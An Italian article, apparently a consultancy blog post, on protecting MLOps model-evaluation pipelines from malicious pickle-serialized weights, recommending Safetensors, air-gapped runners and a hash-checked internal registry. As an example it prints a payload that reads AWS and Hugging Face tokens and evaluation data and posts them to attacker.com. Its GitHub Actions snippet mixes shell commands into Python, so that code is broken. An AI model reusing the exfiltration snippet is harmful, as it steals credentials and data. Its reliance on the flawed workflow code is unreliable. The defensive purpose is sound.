Sicurezza della Supply Chain AI: Come Proteggere le Pipeline di Model Evaluation

La sicurezza della AI supply chain non è un problema di red teaming ai prompt, ma di protezione dell'infrastruttura MLOps dai vettori d'attacco che passano attraverso i modelli stessi. Nel 2024, OpenAI e Hugging Face hanno collaborato per investigare un incidente di sicurezza che ha esposto una vulnerabilità critica: durante la fase di model evaluation, pesi di modelli compromessi possono eseguire codice arbitrario sui runner CI/CD automatizzati. Questo articolo analizza le vulnerabilità concrete e propone strategie di architettura per integrarli in sicurezza nei sistemi B2B aziendali.

Quali sono le vulnerabilità di Hugging Face nella AI supply chain security?

L'incidente OpenAI/Hugging Face ha messo in luce che il modello stesso può diventare un vettore d'attacco. Non stiamo parlando di prompt injection o jailbreak — parliamo di Remote Code Execution (RCE) eseguita durante il caricamento dei pesi.

La piattaforma Hugging Face Hub è un repository pubblico di modelli. Chiunque può caricare pesi sul versioning system, e gli sviluppatori scaricano e caricano questi modelli in locale o direttamente in pipeline CI/CD senza validazione di integrità. Il punto critico: i formati di serializzazione tradizionali (Pickle, .bin PyTorch, .ckpt) non memorizzano soltanto i tensori, ma anche istruzioni Python che vengono eseguite durante la deserializzazione.

Un modello compromesso caricato da un attaccante può:

• Esfiltrate credenziali AWS, token API, chiavi private dagli environment dei runner
• Installare backdoor persistenti nella pipeline di CI/CD
• Alterare i pesi successivi nel training pipeline (poisoning)
• Exfiltrare dati sensibili dai dataset di valutazione

Lo spostamento del focus è cruciale: non basta proteggere i prompt, bisogna proteggere l'infrastruttura MLOps stessa. Questo significa mettere in atto controlli a livello di architettura, non soltanto di validazione applicativa.

Perché la fase di model evaluation espone la MLOps security a rischi critici?

La model evaluation è il punto dove convergono tre rischi: il caricamento di pesi non fidati, l'esecuzione automatizzata su runner CI/CD, e l'accesso diretto ai dati di valutazione aziendali.

Diagramma astratto di isolamento rete MLOps

Durante l'evaluation, il codice tipicamente:

1. Scarica un modello da Hugging Face con model = AutoModel.from_pretrained("user/model")
2. Carica i pesi in memoria (qui avviene la deserializzazione e l'esecuzione di codice nascosto)
3. Esegue il modello su dati di valutazione con accesso pieno all'environment del runner
4. Registra i risultati e, potenzialmente, esfiltrazione di dati

Il problema della deserializzazione in PyTorch: quando carichi un file .bin o .ckpt, PyTorch usa Pickle internamente. Pickle è un formato di serializzazione Python che non distingue fra dato e istruzione — una riga di codice malevolo può essere nascosta tra i pesi e verrà eseguita durante il torch.load().

Il rischio di esfiltrazione dati: un runner CI/CD di model evaluation ha:

• Accesso ai dati di valutazione (potenzialmente sensibili)
• Credenziali AWS, GCP, Azure negli environment variables
• Token di accesso a repository privati
• Chiavi crittografiche per il versioning interno dei modelli

Un modello compromesso può catturare tutto questo e trasmetterlo verso un server esterno controllato dall'attaccante. E avviene in automatico, senza visibilità umana.

Esempi concreti di payload:

# Nascosto dentro un .ckpt caricato via from_pretrained()
import os
import requests

# Esfiltrazione credenziali
creds = {
    "aws_key": os.getenv("AWS_ACCESS_KEY_ID"),
    "huggingface_token": os.getenv("HF_TOKEN"),
    "data": open("/mnt/evaluation_data.csv").read()[:10000]  # Primi 10KB
}

requests.post("https://attacker.com/exfil", json=creds)

Come proteggere le pipeline CI/CD: isolamento, Safetensors e architetture Zero-Trust

La protezione richiede tre layer: formato sicuro, isolamento di rete, e validazione statica.

Rappresentazione geometrica dei formati dati sicuri

1. Migrazione forzata a Safetensors

Safetensors è un formato sviluppato da Hugging Face che memorizza esclusivamente i tensori in formato binario flat. Non contiene istruzioni Python eseguibili — è fisicamente impossibile nascondere codice. Il caricamento è anche 10-100x più veloce rispetto a Pickle (Hugging Face, 2023).

Forza l'uso del formato in tutte le configurazioni:

from transformers import AutoModel

# ❌ Non fare questo
model = AutoModel.from_pretrained("user/model")

# ✅ Forza Safetensors
model = AutoModel.from_pretrained(
    "user/model",
    use_safetensors=True,  # Fallisce se il modello non ha .safetensors
    trust_remote_code=False  # Disabilita esecuzione di custom code dal repo
)

Nel vostro sistema di CI/CD per model evaluation, impostate questa configurazione come default non-override:

# github-actions o simile
- name: Load model for evaluation
  env:
    HF_HUB_DISABLE_TELEMETRY: 1
  run: |
    python -c "
    from transformers import AutoModel
    try:
      model = AutoModel.from_pretrained('${{ matrix.model }}', 
                                        use_safetensors=True,
                                        trust_remote_code=False)
    except Exception as e:
      echo 'Model must be in Safetensors format'
      exit 1
    "

2. Air-gapping e isolamento di rete

I runner dedicati alla model evaluation non devono avere accesso a internet pubblico. Implementate:

• Registry interno proxy: scaricate i modelli da un artifact repository interno (Artifactory, Nexus, cloud storage privato) anziché direttamente da Hugging Face Hub
• Network policies: configurate i runner per bloccare il traffico in uscita verso domini pubblici
• Credenziali isolate: usate role-based access (IAM) per limitare i permessi di lettura ai soli modelli approvati

Esempio di architettura con proxy interno:

┌─────────────────────┐
│ Hugging Face Hub    │
│ (internet pubblico)  │
└──────────┬──────────┘
           │
    ┌──────▼────────┐
    │ Proxy privato │  ← Eseguite qui la verifica
    │ (VPC interna) │     di integrità e virus scan
    └──────┬────────┘
           │
    ┌──────▼────────────────┐
    │ Model Registry interno│
    │ (Artifacts storage)   │
    └──────┬────────────────┘
           │
    ┌──────▼─────────────────┐
    │ Runner CI/CD isolato   │
    │ (air-gapped)           │
    └────────────────────────┘

3. Analisi statica e Model Registry

Prima che un modello entri nella vostra infrastruttura aziendale:

1. Scannate il repository per file sospetti (eseguibili, script bash, .sh nascosti)
2. Validate l'hash dei file .safetensors contro una whitelist interna
3. Approvate manualmente ogni nuovo modello prima del deploy

# Pseudo-codice per un sistema di approvazione
class ApprovedModelRegistry:
    def __init__(self, whitelist_file="models.approved.json"):
        self.approved = json.load(open(whitelist_file))
    
    def load(self, model_id, repo_url="internal-registry"):
        # Scarica soltanto da registry interno
        model_path = f"{repo_url}/{model_id}"
        
        # Valida SHA-256
        local_hash = hashlib.sha256(
            open(f"{model_path}/model.safetensors", "rb").read()
        ).hexdigest()
        
        if self.approved[model_id] != local_hash:
            raise SecurityError("Hash mismatch — modello non approvato")
        
        # Carica in sicurezza
        return AutoModel.from_pretrained(
            model_path,
            use_safetensors=True,
            trust_remote_code=False
        )

Architetture Zero-Trust: assume che ogni dipendenza esterna sia compromessa finché non è verificata. Ogni modello, ogni versione, ogni esecuzione deve essere loggata, tracciata e auditable.

Come integrare modelli open-source in sicurezza nei sistemi B2B aziendali

L'integrazione di modelli open-source in ambienti B2B richiede un approccio ingegneristico, non una checklist di conformità.

Il punto chiave: bilanciare innovazione e compliance non è una negoziazione fra silo.

Gli ingegneri vogliono scegliere il modello migliore per il task. I team di security e compliance vogliono garanzie di integrità e tracciabilità. Queste due cose non sono in conflitto se l'architettura è giusta.

In pratica:

• Definite una policy di approved models aggiornata ogni trimestre — e rendete il processo di approvazione trasparente (pull request publiche, criterio chiaro di security review)
• Isolate la fase di evaluation in ambienti air-gapped con accesso limitato
• Fate audit regolari dei modelli in produzione — tracciare ogni versione, ogni aggiornamento, ogni deploy
• Documentate le decisioni di trade-off: se scegliere un modello 7B più leggero anziché 70B per latency, scrivilo. Se accettate un modello che non è in Safetensors perché è l'unico che fa il vostro task, approvate esplicitamente il rischio con un security review

L'esperienza pratica mostra che le organizzazioni che separano il layer di integrazione semantica dei dati in ambienti isolati da quello di inference, riducono drasticamente la superficie d'attacco. Se cercate consulenza su come strutturare questa separazione nel vostro stack MLOps, possiamo confrontarci sulla vostra architettura specifica.

---

FAQ

Qual è la differenza tra file .ckpt (Pickle) e Safetensors?

I file Pickle (come .ckpt o .bin in PyTorch) possono contenere codice eseguibile nascosto, permettendo attacchi di remote code execution durante il caricamento in memoria. Safetensors è un formato sviluppato da Hugging Face che memorizza esclusivamente i tensori in formato flat, rendendo impossibile l'esecuzione di codice arbitrario e accelerando i tempi di caricamento di 10-100x.

Come bloccare il download di modelli non sicuri da Hugging Face?

È possibile mitigare il rischio forzando l'uso di Safetensors nelle librerie client (es. impostando use_safetensors=True nei metodi from_pretrained), bloccando a livello di proxy di rete i domini non necessari sui runner CI/CD e utilizzando scanner di vulnerabilità statici sui repository dei modelli prima del deploy nell'infrastruttura aziendale. Un Model Registry interno che funge da proxy approvato è la soluzione più robusta.

Quali permessi di rete dovrebbero avere i runner dedicati alla model evaluation?

I runner di model evaluation devono operare in ambienti di rete air-gapped o fortemente ristretti. Dovrebbero possedere solo l'accesso in uscita strettamente necessario per scaricare i pesi approvati da un registry interno, disabilitando completamente l'accesso a internet pubblico per prevenire l'esfiltrazione di token, credenziali o dati sensibili durante i test.